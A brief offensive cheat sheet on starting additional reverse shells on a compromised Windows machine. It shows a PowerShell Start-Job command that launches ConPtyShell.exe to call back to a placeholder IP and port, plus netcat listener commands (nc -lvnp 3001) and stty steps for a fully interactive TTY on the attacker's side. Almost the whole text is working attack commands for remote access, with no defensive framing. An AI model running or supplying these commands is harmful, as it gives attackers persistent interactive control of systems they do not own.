Create multiple shells from one shell
ConPtyShell - Fully Interactive Reverse Shell for Windows
Start-Job -ScriptBlock { Get-Process -Name pwsh }
# target
Start-Job -ScriptBlock { C:\XXX\XXX\ConPtyShell.exe <ip> <port> <tty-rows> <tty-cols> powershell.exe}
# local
$ stty raw -echo; (stty size; cat) | nc -lvnp 3001
OR
# local
$ stty size
$ nc -lvnp 3001
Wait For connection
$ ctrl+z
$ stty raw -echo; fg[ENTER]